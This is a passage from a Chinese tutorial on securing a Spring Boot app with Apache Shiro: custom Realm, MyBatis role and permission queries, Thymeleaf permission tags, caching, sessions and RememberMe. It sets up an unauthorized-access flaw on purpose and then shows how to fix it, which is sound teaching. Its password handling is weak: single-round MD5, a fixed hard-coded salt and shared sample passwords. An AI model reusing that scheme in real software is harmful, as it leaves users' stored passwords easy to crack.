SELECT * FROM `tb_users` WHERE `username` = #{username}
</select>
</mapper>
RoleMapper 根据用户名查询角色信息
public interface RoleMapper {
// 根据用户名, 查询出角色名称
public Set<String> queryRoleByUserName(@RequestParam("username") String username);
/** 涉及到联表查询
* SELECT * FROM tb_users INNER JOIN tb_urs ON tb_users.user_id = tb_urs.uid INNER JOIN tb_roles ON tb_urs.rid = tb_roles.role_id;
* +---------+----------+----------+---------------+-----+-----+---------+-----------+
* | user_id | username | password | password_salt | uid | rid | role_id | role_name |
* +---------+----------+----------+---------------+-----+-----+---------+-----------+
* | 1 | zhangsan | 123456 | NULL | 1 | 1 | 1 | admin |
* | 2 | lisi | 123456 | NULL | 2 | 2 | 2 | cmanager |
* | 3 | wangwu | 123456 | NULL | 3 | 3 | 3 | xmanager |
* | 4 | zhaoliu | 123456 | NULL | 4 | 4 | 4 | kmanager |
* | 5 | chenqi | 123456 | NULL | 5 | 5 | 5 | zmanager |
* +---------+----------+----------+---------------+-----+-----+---------+-----------+
*
*/
}
定义Mapper文件:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"https://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.heihu577.mapper.RoleMapper">
<select id="queryRoleByUserName" resultType="String" parameterType="String">
SELECT role_name FROM tb_users
INNER JOIN tb_urs ON tb_users.user_id = tb_urs.uid
INNER JOIN tb_roles ON tb_urs.rid = tb_roles.role_id
WHERE username = #{username};
</select>
</mapper>
PermissionMapper 根据用户名查询权限信息
public interface PermissionMapper {
public Set<String> queryPermissionByUserName(@RequestParam("username") String username);
}
定义Mapper文件:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"https://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.heihu577.mapper.PermissionMapper">
<select id="queryPermissionByUserName" resultType="String" parameterType="String">
SELECT permission_code FROM tb_users
INNER JOIN tb_urs ON tb_users.user_id = tb_urs.uid
INNER JOIN tb_roles ON tb_urs.rid = tb_roles.role_id
INNER JOIN tb_rps ON tb_rps.rid = tb_roles.role_id
INNER JOIN tb_permissions ON tb_permissions.permission_id = tb_rps.pid
WHERE username = #{username};
</select>
</mapper>
自定义 Realm 设计
定义如下Realm
:
public class MyRealm extends AuthorizingRealm { // 自定义 Realm 通常继承 AuthorizingRealm
@Resource
private UserMapper userMapper;
@Resource
private RoleMapper roleMapper;
@Resource
private PermissionMapper permissionMapper;
/**
* @return 当前 Realm 名称, 可自定义名称
*/
@Override
public String getName() {
return "MyRealm";
}
/**
* 准备好授权数据, 授权数据就是当前用户的角色, 当前用户的权限信息, 所以我们只需要准备这些数据, 返回给 SecurityManager 即可.
*/
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
String username = (String) principals.iterator().next(); // 得到已经登录成功的用户名, 实际上获取到的内容是 doGetAuthenticationInfo 方法中 new SimpleAuthenticationInfo(用户名, 用户密码, 当前Realm名称) 中的第一个参数
Set<String> roles = roleMapper.queryRoleByUserName(username); // 通过用户名得到角色名称
Set<String> permissions = permissionMapper.queryPermissionByUserName(username); // 通过用户名得到权限信息
SimpleAuthorizationInfo info = new SimpleAuthorizationInfo();
info.setRoles(roles); // 将数据库查询出来的信息封装到 AuthorizationInfo 中
info.setStringPermissions(permissions);
return info;
}
/**
* 准备好认证数据, 我们无需操心比对, 比对最终交给 SecurityManager, 我们只需要提供数据就可以了.
* 而认证数据, 我们只需要提供 账号,密码 即可.
*/
@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
// subject.login(token) 会调用到这里
UsernamePasswordToken usernamePasswordToken = (UsernamePasswordToken) token; // 认证时, 强制转换
String username = usernamePasswordToken.getUsername(); // 得到用户名
User user = userMapper.queryUserByUserName(username); // 从数据库中查询该用户名, 得到该用户信息
if (user != null) {
// 成功从数据库中查询到用户, 我们就将用户的信息封装到 AuthenticationInfo 中, SimpleAuthenticationInfo 是 AuthenticationInfo 的子类
return new SimpleAuthenticationInfo(username, user.getPassword(), this.getName());
// new SimpleAuthenticationInfo(用户名, 用户密码, 当前Realm名称)
}
return null;
}
}
我们只需要重写doGetAuthenticationInfo
方法, 并且返回AuthenticationInfo
类型的数据即可, AuthenticationInfo
类型的数据中封装的就是用户的账号与密码信息.
重写doGetAuthorizationInfo
方法, 并且返回AuthorizationInfo
类型的信息, AuthorizationInfo
中包含了用户的角色, 权限
信息.
重写getName
方法, 为我们的自定义Realm增加一个名称.
从上面可以看到的是, 我们自定义Realm成功参与了自己的数据库查询逻辑在里面, 我们使用了MyBatis从数据库中取数据, 将数据放入到返回对象中. 因为比对工作是由SecurityManager
完成的, 所以我们这里只需提供数据即可, 无需加入自己的业务逻辑判断. 当然, 为了验证方便, 我们依然使用之前的login.html, index.html, UserServiceImpl, PageController, UserController
进行做测试即可.
最终运行效果:
不同的用户, 不同的角色, 具有不同的权限.
Layui 优化界面
去 [url]https://www.layuicdn.com/docs/v2/demo/admin.html[/url] 中拷贝代码, 并且下载 Layui 所需要的 css 与 js.
并且将 Layui 中的 CSS 与 JS 放入到 /resource/static
目录下, 定义/resources/templates/index.html
文件内容如下:
<!DOCTYPE html>
<html xmlns:shiro="http://www.pollix.at/thymeleaf/shiro">
<head>
<base href="/"> <!-- 一定要加入这一行代码, 避免 CSS, JS 引用出错. -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>layout 管理系统大布局 - Layui</title>
<link rel="stylesheet" href="./layui/css/layui.css">
</head>
<body>
<div class="layui-layout layui-layout-admin">
<div class="layui-header">
<div class="layui-logo layui-hide-xs layui-bg-black">layout demo</div>
<!-- 头部区域(可配合layui 已有的水平导航) -->
<ul class="layui-nav layui-layout-left">
<!-- 移动端显示 -->
<li class="layui-nav-item layui-show-xs-inline-block layui-hide-sm" lay-header-event="menuLeft">
<i class="layui-icon layui-icon-spread-left"></i>
</li>
<li class="layui-nav-item layui-hide-xs"><a href="">nav 1</a></li>
<li class="layui-nav-item layui-hide-xs"><a href="">nav 2</a></li>
<li class="layui-nav-item layui-hide-xs"><a href="">nav 3</a></li>
<li class="layui-nav-item">
<a href="javascript:;">nav groups</a>
<dl class="layui-nav-child">
<dd><a href="">menu 11</a></dd>
<dd><a href="">menu 22</a></dd>
<dd><a href="">menu 33</a></dd>
</dl>
</li>
</ul>
<shiro:user>
<ul class="layui-nav layui-layout-right">
<li class="layui-nav-item layui-hide layui-show-md-inline-block">
<a href="javascript:;">
<img src="x" alt="图片显示错误" class="layui-nav-img">
<shiro:principal/>
</a>
<dl class="layui-nav-child">
<dd><a href="">Your Profile</a></dd>
<dd><a href="">Settings</a></dd>
<dd><a href="">Sign out</a></dd>
</dl>
</li>
<li class="layui-nav-item" lay-header-event="menuRight" lay-unselect>
<a href="javascript:;">
<i class="layui-icon layui-icon-more-vertical"></i>
</a>
</li>
</ul>
<shiro:user>
</div>
<div class="layui-side layui-bg-black">
<div class="layui-side-scroll">
<!-- 左侧导航区域(可配合layui已有的垂直导航) -->
<ul class="layui-nav layui-nav-tree" lay-filter="test">
<li class="layui-nav-item layui-nav-itemed">
<a class="" href="javascript:;">仓库管理</a>
<dl class="layui-nav-child">
<shiro:hasPermission name="sys:c:save">
<dd><a href="javascript:;">入库</a></dd>
</shiro:hasPermission>
<shiro:hasPermission name="sys:c:delete">
<dd><a href="javascript:;">出库</a></dd>
</shiro:hasPermission>
<shiro:hasPermission name="sys:c:delete">
<dd><a href="javascript:;">更新仓库</a></dd>
</shiro:hasPermission>
<shiro:hasPermission name="sys:c:delete">
<dd><a href="">查找仓库</a></dd>
</shiro:hasPermission>
</dl>
</li>
<li class="layui-nav-item layui-nav-itemed">
<a class="" href="javascript:;">销售管理</a>
<dl class="layui-nav-child">
<shiro:hasPermission name="sys:x:save">
<dd><a href="javascript:;">保存订单</a></dd>
</shiro:hasPermission>
<shiro:hasPermission name="sys:x:delete">
<dd><a href="javascript:;">删除订单</a></dd>
</shiro:hasPermission>
<shiro:hasPermission name="sys:x:delete">
<dd><a href="javascript:;">更新订单</a></dd>
</shiro:hasPermission>
<shiro:hasPermission name="sys:x:delete">
<dd><a href="">查询订单</a></dd>
</shiro:hasPermission>
</dl>
</li>
<li class="layui-nav-item layui-nav-itemed">
<a class="" href="javascript:;">客户管理</a>
<dl class="layui-nav-child">
<shiro:hasPermission name="sys:k:save">
<dd><a href="javascript:;">新增客户</a></dd>
</shiro:hasPermission>
<shiro:hasPermission name="sys:k:delete">
<dd><a href="javascript:;">删除客户</a></dd>
</shiro:hasPermission>
<shiro:hasPermission name="sys:k:update">
<dd><a href="javascript:;">修改客户</a></dd>
</shiro:hasPermission>
<shiro:hasPermission name="sys:k:find">
<dd><a href="">查询客户</a></dd>
</shiro:hasPermission>
</dl>
</li>
</ul>
</div>
</div>
<div class="layui-body">
<!-- 内容主体区域 -->
<div style="padding: 15px;">内容主体区域。记得修改 layui.css 和 js 的路径</div>
</div>
<div class="layui-footer">
<!-- 底部固定区域 -->
底部固定区域
</div>
</div>
<script src="./layui/layui.js"></script>
<script>
//JS
layui.use(['element', 'layer', 'util'], function () {
var element = layui.element
, layer = layui.layer
, util = layui.util
, $ = layui.$;
//头部事件
util.event('lay-header-event', {
//左侧菜单事件
menuLeft: function (othis) {
layer.msg('展开左侧菜单的操作', {icon: 0});
}
, menuRight: function () {
layer.open({
type: 1
, content: '<div style="padding: 15px;">处理右侧面板的操作</div>'
, area: ['260px', '100%']
, offset: 'rt' //右上角
, anim: 5
, shadeClose: true
});
}
});
});
</script>
</body>
</html>
最终运行结果:
项目打包
在pom.xml
文件中增加如下内容:
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
随后用maven打包即可:
如果在别的机器进行部署, 这里数据库链接等信息一定要配置好, 否则项目启动不来.
Shiro 加密
加密的过程如下:
研究这部分内容, 我们需要将数据库中Password
值都改为MD5处理后的值, 过程如下:
mysql> SELECT * FROM tb_users;
+---------+----------+----------+---------------+
| user_id | username | password | password_salt |
+---------+----------+----------+---------------+
| 1 | zhangsan | 123456 | NULL |
| 2 | lisi | 123456 | NULL |
| 3 | wangwu | 123456 | NULL |
| 4 | zhaoliu | 123456 | NULL |
| 5 | chenqi | 123456 | NULL |
+---------+----------+----------+---------------+
5 rows in set (0.00 sec)
mysql> UPDATE `tb_users` SET password = md5(password);
Query OK, 5 rows affected (0.54 sec)
Rows matched: 5 Changed: 5 Warnings: 0
mysql> SELECT * FROM `tb_users`;
+---------+----------+----------------------------------+---------------+
| user_id | username | password | password_salt |
+---------+----------+----------------------------------+---------------+
| 1 | zhangsan | e10adc3949ba59abbe56e057f20f883e | NULL |
| 2 | lisi | e10adc3949ba59abbe56e057f20f883e | NULL |
| 3 | wangwu | e10adc3949ba59abbe56e057f20f883e | NULL |
| 4 | zhaoliu | e10adc3949ba59abbe56e057f20f883e | NULL |
| 5 | chenqi | e10adc3949ba59abbe56e057f20f883e | NULL |
+---------+----------+----------------------------------+---------------+
5 rows in set (0.00 sec)
那么接下来我们看一下如何使Shiro
支持MD5
的验证, 我们在配置类中增加如下代码:
@Bean
public HashedCredentialsMatcher hashedCredentialsMatcher() {
HashedCredentialsMatcher hashedCredentialsMatcher = new HashedCredentialsMatcher();
hashedCredentialsMatcher.setHashAlgorithmName("md5"); // 设置数据库存储的密码格式
hashedCredentialsMatcher.setHashIterations(1); // 经过几次加密, 如果是2的话则是该含义: md5(md5(值))
return hashedCredentialsMatcher;
}
@Bean
public MyRealm myRealm(HashedCredentialsMatcher hashedCredentialsMatcher) {
MyRealm myRealm = new MyRealm();
myRealm.setCredentialsMatcher(hashedCredentialsMatcher); // 将加密算法设置给 Realm
return myRealm;
}
其这样设计的含义如下:
我们只需要将加密规则封装到Realm中, SecurityManager中的Authenticator就会根据matcher的加密规则来进行校验.
用户加盐
此功能模块我们最好还是配合上用户注册
功能进行测试, 定义如下UserController:
@PostMapping("/register")
public String register(String username, String password){
try {
userService.insertUser(username, password);
return "login";
} catch (Exception e) {
throw new RuntimeException(e);
}
}
定义UserServiceImpl::insertUser
方法:
@Service
public class UserServiceImpl {
@Resource
private UserMapper userMapper;
// ...
public void insertUser(String username, String password) throws Exception {
// Md5Hash md5Hash = new Md5Hash(password); // 进行 MD5 加密
String salt = "mysalt"; // 实战中盐可以随机
password = new Md5Hash(password, salt).toHex(); // md5(盐 + 密码)
User user = new User();
user.setUsername(username);
user.setPassword(password);
user.setPasswordSalt(salt); // 设置盐
userMapper.insertUser(user); // 最终将盐也添加进去.
}
}
而UserMapper
接口定义如下:
public void insertUser(User user);
/* 实现:
<insert id="insertUser" parameterType="User">
INSERT INTO `tb_users` VALUES(NULL, #{username}, #{password}, #{passwordSalt});
</insert>
*/
随后我们在MyRealm::doGetAuthenticationInfo
方法中将盐返回给SecurityManager
:
@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
// subject.login(token) 会调用到这里
UsernamePasswordToken usernamePasswordToken = (UsernamePasswordToken) token; // 认证时, 强制转换
String username = usernamePasswordToken.getUsername(); // 得到用户名
User user = userMapper.queryUserByUserName(username); // 从数据库中查询该用户名, 得到该用户信息
if (user != null) {
// 成功从数据库中查询到用户, 我们就将用户的信息封装到 AuthenticationInfo 中, SimpleAuthenticationInfo 是 AuthenticationInfo 的子类
return new SimpleAuthenticationInfo(username, user.getPassword(), ByteSource.Util.bytes(user.getPasswordSalt()), this.getName()); // 注意这里的 ByteSource.Util.bytes(user.getPasswordSalt()) 用于返回盐
// new SimpleAuthenticationInfo(用户名, 用户密码, 当前盐, 当前Realm名称)
}
return null;
}
测试完毕后, 我们需要将数据库其他用户账号密码统一改为加盐模式, 否则其他用户无法登录:
mysql> update tb_Users set password_salt = '7788', password = MD5(CONCAT(password_salt, '123456')) WHERE user_id < 6; -- 其他用户密码统一设置为123456
Query OK, 5 rows affected (0.11 sec)
Rows matched: 5 Changed: 5 Warnings: 0
mysql> SELECT * FROM tb_Users;
+---------+----------+----------------------------------+---------------+
| user_id | username | password | password_salt |
+---------+----------+----------------------------------+---------------+
| 1 | zhangsan | e97e4623f9bb7f1280233bfbe2793e70 | 7788 |
| 2 | lisi | e97e4623f9bb7f1280233bfbe2793e70 | 7788 |
| 3 | wangwu | e97e4623f9bb7f1280233bfbe2793e70 | 7788 |
| 4 | zhaoliu | e97e4623f9bb7f1280233bfbe2793e70 | 7788 |
| 5 | chenqi | e97e4623f9bb7f1280233bfbe2793e70 | 7788 |
| 6 | heihu577 | d23170a6c09cb22ef2b690406d86cd64 | mysalt |
+---------+----------+----------------------------------+---------------+
6 rows in set (0.00 sec)
退出登录
在我们的ShiroAutoConfiguration::ShiroFilterFactoryBean
中, 我们增加如下代码:
@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
shiroFilterFactoryBean.setSecurityManager(securityManager);
Map<String, String> hashMap = new HashMap<>();
hashMap.put("/", "anon");
hashMap.put("/login", "anon");
hashMap.put("/static/**", "anon");
hashMap.put("/logout", "logout"); // 访问则退出登录
shiroFilterFactoryBean.setFilterChainDefinitionMap(hashMap);
shiroFilterFactoryBean.setLoginUrl("/login");
shiroFilterFactoryBean.setUnauthorizedUrl("/");
return shiroFilterFactoryBean;
}
当我们访问/logout
时, 就会退出登录. 当然也可以在前端页面加入该功能:
<shiro:guest>
<ul class="layui-nav layui-layout-right">
<li class="layui-nav-item layui-hide layui-show-md-inline-block">
<a href="/login">
登录
</a>
</li>
</ul>
</shiro:guest>
<shiro:user>
<ul class="layui-nav layui-layout-right">
<li class="layui-nav-item layui-hide layui-show-md-inline-block">
<a href="javascript:;">
<img src="x" alt="图片显示错误" class="layui-nav-img">
<shiro:principal/>
</a>
<dl class="layui-nav-child">
<dd><a href="">Your Profile</a></dd>
<dd><a href="">Settings</a></dd>
<dd><a href="/logout">Sign out</a></dd> <!-- 单机则退出登录 -->
</dl>
</li>
<li class="layui-nav-item" lay-header-event="menuRight" lay-unselect>
<a href="javascript:;">
<i class="layui-icon layui-icon-more-vertical"></i>
</a>
</li>
</ul>
</shiro:user>
</div>
授权
用户登陆成功之后, 要进行响应的操作就需要有对应的权限; 在进行操作之前对权限进行检查 - 授权.
权限控制通常有两类做法:
- 不同身份的用户登录,不同的操作菜单(没有权限的菜单不显示)
- 对所有用户显示所有菜单,当用户点击菜单以后再验证当前用户是否有此权限,如果没有则提示权限不足。
HTML 授权 - shiro 标签
我们使用<shiro:hasRole name="角色名">
, <shiro:hasPermission name="权限名">
, 可以判断当前角色是否具有某种权限, 从而显示在页面上, 例如:
<shiro:hasRole name="kmanager"> <!-- 是否是 kmanager 角色 -->
<li class="layui-nav-item layui-nav-itemed">
<a class="" href="javascript:;">客户管理</a>
<dl class="layui-nav-child">
<shiro:hasPermission name="sys:k:save"> <!-- 是否具有 sys:k:save 权限 -->
<dd><a href="javascript:;">新增客户</a></dd>
</shiro:hasPermission>
<shiro:hasPermission name="sys:k:delete">
<dd><a href="javascript:;">删除客户</a></dd>
</shiro:hasPermission>
<shiro:hasPermission name="sys:k:update">
<dd><a href="javascript:;">修改客户</a></dd>
</shiro:hasPermission>
<shiro:hasPermission name="sys:k:find">
<dd><a href="">查询客户</a></dd>
</shiro:hasPermission>
</dl>
</li>
</shiro:hasRole>
最终运行效果如图:
可以发现zhaoliu
和lisi
登陆上显示的功能模块是不同的.
过滤器授权 - 修复越权
当然, 我们上面lisi
用户是不存在查询客户
权限的, 那么当lisi
通过一些手段得到了查询客户
的API路径, 则会造成越权漏洞, 我们可以本地模拟一下这个环境.
在PageController
中定义方法:
@RequestMapping("/xFind")
public String kFind() {
return "k_find"; // 定位到 /resources/templates/k_find.html 文件
}
定义k_find.html
页面:
<!DOCTYPE html>
<html lang="en" xmlns:shiro="http://www.pollix.at/thymeleaf/shiro">
<head>
<meta charset="UTF-8">
<title>查询客户页面</title>
</head>
<body>
<h3>查询客户主页</h3>
<h4>当前用户: <shiro:principal/></h4>
</body>
</html>
随后定义/resources/templates/index.html
模板, 在该模板中增加一个iframe, 以及超链接跳转:
<shiro:hasPermission name="sys:k:find">
<dd><a href="/kFind" target="MainIframe">查询客户</a></dd>
<!-- 其他内容... -->
</shiro:hasPermission>
<div class="layui-body">
<iframe width="100%" height="780" name="MainIframe"></iframe>
</div>
随后我们查看zhaoliu (具有查询客户权限)
以及wangwu (不具有查询客户权限)
的两种访问情况:
实际场景 wangwu 也存在查询客户的权限, 因为 \<shiro:hasRole> 标签功能被隐藏了, 测试的时候最好使用
zhangsan & zhaoliu
进行测试.
这样就造成了一个越权漏洞, 而修复方法也很简单, 我们只需要对/kFind
这个路由增加权限判断即可, 那么我们配置ShiroFilter
如下:
@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
shiroFilterFactoryBean.setSecurityManager(securityManager);
Map<String, String> hashMap = new HashMap<>();
hashMap.put("/", "anon"); // / 支持匿名访问
hashMap.put("/login", "anon"); // login 支持匿名访问
hashMap.put("/static/**", "anon"); // static 下的内容随便访问
hashMap.put("/logout", "logout"); // 访问则退出登录
hashMap.put("/kFind", "perms[sys:k:find]"); // 当前用户存在 sys:k:find 权限才允许访问
shiroFilterFactoryBean.setFilterChainDefinitionMap(hashMap);
shiroFilterFactoryBean.setLoginUrl("/login");
shiroFilterFactoryBean.setUnauthorizedUrl("/"); // 当权限不允许时, 跳转的路径
return shiroFilterFactoryBean;
}
配置完毕后不存在sys:k:find
权限的用户直接访问/kFind
会被拦截.
注解授权 - 修复越权
除了上面的方法, 我们也可以在PageController::kFind
上面定义注解:
@RequestMapping("/kFind")
@RequiresPermissions("sys:k:find") // 如果当前用户具备该权限, 那么才让访问.
public String kFind() {
return "k_find"; // 定位到 /resources/templates/k_find.html 文件
}
当然定义完毕后, 我们需要在ShiroAutoConfigruation
类中进行定义该注解所需要的Bean
:
@Bean
public DefaultAdvisorAutoProxyCreator defaultAdvisorAutoProxyCreator() {
DefaultAdvisorAutoProxyCreator advisorAutoProxyCreator = new DefaultAdvisorAutoProxyCreator();
advisorAutoProxyCreator.setProxyTargetClass(true);
return advisorAutoProxyCreator;
}
@Bean
public AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor(SecurityManager securityManager) {
AuthorizationAttributeSourceAdvisor advisor = new AuthorizationAttributeSourceAdvisor();
advisor.setSecurityManager(securityManager);
return advisor;
}
如果当前用户不存在sys:k:find
权限, 那么会显示如下内容:
并且IDEA中会收到抛出来的异常信息:
org.apache.shiro.authz.AuthorizationException: Not authorized to invoke method: public java.lang.String com.heihu577.controller.PageController.kFind()
那么这种情况我们应该如何处理呢?这里我们可以通过Spring全局异常
来将其跳转到某个页面中去即可.
package com.heihu577.exception;
@ControllerAdvice
public class ErrorHandler {
@ExceptionHandler(AuthorizationException.class)
public ModelAndView handleException(Exception e) {
ModelAndView modelAndView = new ModelAndView("index"); // 认证失败跳转到主页
modelAndView.addObject("exception", e);
System.out.println("进入异常处理...");
return modelAndView;
}
}
手工授权 - 修复越权
当然我们也可以使用subject
进行判断, 代码如下:
@RequestMapping("/kFind")
// @RequiresPermissions("sys:k:find")
public String kFind() {
Subject subject = SecurityUtils.getSubject();
if (subject.isPermitted("sys:k:find")) {
return "k_find";
} else {
return "index";
}
}
Shiro 缓存使用
我们看一下下面这个问题, 在MyRealm
中增加输出语句:
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
String username = (String) principals.iterator().next(); // 得到已经登录成功的用户名, 实际上获取到的内容是 doGetAuthenticationInfo 方法中 new SimpleAuthenticationInfo(用户名, 用户密码, 当前Realm名称) 中的第一个参数
Set<String> roles = roleMapper.queryRoleByUserName(username); // 通过用户名得到角色名称
Set<String> permissions = permissionMapper.queryPermissionByUserName(username); // 通过用户名得到权限信息
System.out.println("我在授权...."); // 增加该语句
SimpleAuthorizationInfo info = new SimpleAuthorizationInfo();
info.setRoles(roles); // 将数据库查询出来的信息封装到 AuthorizationInfo 中
info.setStringPermissions(permissions);
return info;
}
那么我们登录随意一个用户进行测试:
登录lisi:
我在授权.... (显示12次)
其原因则是我们/resource/templates/index.html
中使用了<shiro:hasPermission>
进行判断, 每使用一次<shiro:hasPermission>
就会调用一次MyRealm::doGetAuthorizationInfo
方法.
下面在pom.xml文件中进行引入缓存:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-cache</artifactId>
</dependency>
<dependency>
<groupId>net.sf.ehcache</groupId>
<artifactId>ehcache</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-cache</artifactId>
<version>1.4.1</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-ehcache</artifactId>
<version>1.4.1</version>
</dependency>
当然了, 准备了ehcache
就需要定义/resources/ehcache.xml
文件:
<?xml version="1.0" encoding="UTF-8"?>
<ehcache>
<diskStore path="java.io.tmpdir/Tmp_EhCache"/>
<defaultCache eternal="false" maxElementsInMemory="10000" overflowToDisk="false" diskPersistent="false"
timeToIdleSeconds="1800" timeToLiveSeconds="259200" memoryStoreEvictionPolicy="LRU"/>
</ehcache>
随后我们在ShiroAutoConfiguration
中进行配置:
// ... 其他代码
@Bean
public EhCacheManager ehCacheCacheManager() {
EhCacheManager ehCacheManager = new EhCacheManager();
ehCacheManager.setCacheManagerConfigFile("classpath:ehcache.xml");
return ehCacheManager;
}
@Bean
public SecurityManager securityManager(MyRealm myRealm, EhCacheManager ehCacheManager) { // 增加一个 EhCacheManager 参数
DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
securityManager.setRealm(myRealm);
securityManager.setCacheManager(ehCacheManager); // 配置到 Realm 中去
return securityManager;
}
修改完毕后, 我们再次授权就不会每次都访问数据库了.
SESSION 管理
在 Shiro 中我们可以进行管理SESSION, 例如: 设置 SESSION 多少秒过期等操作.
@Bean
public DefaultSessionManager getDefaultSessionManager() {
DefaultSessionManager defaultSessionManager = new DefaultSessionManager();
defaultSessionManager.setGlobalSessionTimeout(15); // 15 毫秒后 session 失效
return defaultSessionManager;
}
@Bean
public SecurityManager securityManager(MyRealm myRealm, EhCacheManager ehCacheManager) {
DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
securityManager.setRealm(myRealm);
securityManager.setCacheManager(ehCacheManager);
securityManager.setSessionManager(getDefaultSessionManager()); // 将 Session Manager 放入到 Security Manager 中
return securityManager;
}
RememberMe
我们日常的记住密码
功能, 实现思路如下:
可以看到, 是基于COOKIE进行操作的.
Shiro
对页面访问的权限分为三个级别:
- 未认证 - 可访问的页面, 例如: 登录入口.html, 注册入口.html
- 记住我 - 可访问的页面, 例如: 个人信息.html
- 已认证 - 可访问的页面, 例如: 转账.html
而大概的流程如下:
为了方便测试, 我们修改/resource/templates/login.html
文件内容如下:
<form action="/user/login" method="post">
u: <input type="text" name="username"/><br>
p: <input type="password" name="password"/><br>
记住我: <input type="checkbox" name="rememberMe"><br>
<span th:text="${msg}" style="color:red"></span>
<input type="submit">
</form>
因为rememberMe
是基于Cookie
的, 所以我们需要在SecurityManager
中增加CookieManager
, 那么我们在ShiroAutoConfiguration
中进行定义:
@Bean
public CookieRememberMeManager getRememberMeManager() { // 支持 RememberMe, 并设置 Cookie
CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
SimpleCookie simpleCookie = new SimpleCookie("rememberMe"); // 让服务器检查 rememberMe 键, 这里必须设置
simpleCookie.setMaxAge(60); // 60 秒后过期
cookieRememberMeManager.setCookie(simpleCookie);
return cookieRememberMeManager;
}
@Bean
public SecurityManager securityManager(MyRealm myRealm, EhCacheManager ehCacheManager) { // 定义 SecurityManager
DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
securityManager.setRealm(myRealm);
securityManager.setCacheManager(ehCacheManager);
securityManager.setSessionManager(getDefaultSessionManager());
securityManager.setRememberMeManager(getRememberMeManager()); // 设置 RememberMeManager
return securityManager;
}
随后我们在UserController::login
页面中进行接收rememberMe
传递来的数据:
@PostMapping("/login")
public ModelAndView login(String username, String password, @RequestParam(defaultValue = "false", required = false) String rememberMe) {
ModelAndView modelAndView = new ModelAndView();
try {
userService.checkLogin(username, password, rememberMe); // 传递给 userService
modelAndView.setViewName("index");
} catch (Exception e) {
modelAndView.addObject("msg", "登陆失败!");
modelAndView.setViewName("login");
} finally {
return modelAndView;
}
}
那么UserServiceImpl::checkLogin
的定义如下:
public void checkLogin(String username, String password, String rememberMe) throws Exception {
Subject subject = SecurityUtils.getSubject();
UsernamePasswordToken token = new UsernamePasswordToken(username, password);
if ("on".equals(rememberMe)) { // 如果选中, 那么直接设置 rememberMe 为 true
token.setRememberMe(true);
}
subject.login(token);
}
随后我们在ShiroAutoConfiguration
中进行配置ShiroFilter
的具体页面的权限分配:
@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
shiroFilterFactoryBean.setSecurityManager(securityManager);
Map<String, String> hashMap = new HashMap<>();
hashMap.put("/", "user"); // 设置为 记住我 访问
/**
* anon 未认证可访问
* user 记住我可访问 (已认证也可以访问)
* authc 已认证可访问
* perms 必须具备具体的权限才可以进行访问
* logout 退出登录
*/
hashMap.put("/login", "anon"); // login 支持匿名访问
hashMap.put("/static/**", "anon"); // static 下的内容随便访问
hashMap.put("/logout", "logout"); // 访问则退出登录
hashMap.put("/kFind", "authc, perms[sys:k:find]"); // 当前用户已登录, 并且存在 sys:k:find 权限才允许访问
shiroFilterFactoryBean.setFilterChainDefinitionMap(hashMap);
shiroFilterFactoryBean.setLoginUrl("/login");
shiroFilterFactoryBean.setUnauthorizedUrl("/");
return shiroFilterFactoryBean;
}
假设我们SESSION默认设置为1000毫秒就失效, 也就是1秒后就失效.
那么这个案例, 当我们wangwu
登录后 (勾选记住我
), 主页面是可以进行访问的 (因为设置了记住我), 但是功能模块却访问不了 (因为设置了已认证). 如图:
多 Realm 配置
对于多 Realm 配置也好理解, 参考下图即可:
对于第一种业务场景: 当我们的用户表分布在两个不同的数据库时, 我们可以将两个数据库的信息封装到Realm中, 随后当token请求过来时, SecurityManager
会从MySQL&&Oracle
中拿到数据, 对token进行比对. 我们称这种方式为: 链式配置.
对于第二种业务场景: 用户登录时, 指明登录的类型, 如果是User
类型, 那么就会采用UserRealm
, 去用户表中拿数据进行比对. 如果是Manager
类型, 那么就会采用ManagerRealm
, 去管理员表中拿数据进行比对. 我们称这种方式为: 分支配置.
这两种不同的业务场景, 都是多Realm配置
所实现的功能.
链式配置
为了更好的清楚它们之间的关系, 我们需要创建一个新的项目, 以便清楚的知道它们之间的关系:
pom.xml:
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId> <!-- 引入 parent -->
<version>2.5.3</version>
</parent>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId> <!-- 从 parent 中引 thymeleaf -->
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId> <!-- 从 parent 中引 web -->
</dependency>
<dependency> <!-- 导入 shiro-spring, 会自动引入 shiro-core, shiro-web -->
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.4.1</version>
